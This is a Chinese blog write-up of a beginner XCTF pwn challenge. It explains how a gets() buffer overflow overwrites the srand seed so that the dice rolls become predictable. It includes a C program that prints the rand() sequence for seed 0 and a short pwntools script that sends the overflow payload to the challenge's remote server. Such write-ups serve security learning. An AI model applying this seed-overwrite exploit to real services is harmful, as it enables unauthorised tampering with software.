CTF:第五题
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1
这个题,感觉和前面比,难度反倒低了一点,这里面用了两个知识
1:linux 系统随机数获取
2:srand 伪随机数生成
只要记住一点,就可以了,伪随机数生成是靠算法的,而算法是固定的,
所以我只需要控制好传入的key,就可以预知生成的伪随机数是什么,
需要有点开发技术了
首先看一下代码
红框里面取系统随机数,但是我们肯定不能用系统随机数啊,
如果是那样的话,我们必死啊,
幸好后面有个gets,我们可以直接从标准输入流传入一个字符串,
由于字符串尾部和 srand 的key 挨着,所以可以直接写入超长字符串覆盖,
好了,知道流程,那就开干吧。
写个代码,先算个随机数
1 #include <stdio.h> 2 3 int main() 4 { 5 int i = 0; 6 srand(0); 7 for (i = 0; i <= 9; i++) 8 { 9 printf("%d\n", rand() % 6 + 1); 10 } 11 12 return 0; 13 }
算完之后,得到了一系列数字
2
5
4
2
6
2
5
1
4
2
好了,然后构造python
1 from pwn import * 2 3 #a = process("./b59204f56a0545e8a22f8518e749f19f") 4 a = remote('124.126.19.106', 36867) 5 r = a.recvuntil(":") 6 print(r) 7 8 str = "A" * 0x20 + "\x00" * 8 9 print(str) 10 a.send(str) 11 12 a.interactive()
其实也非常简单,因为我决定那一串数字,我手动输入,
执行脚本
结束了,这个反倒很容易,感觉还可以。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」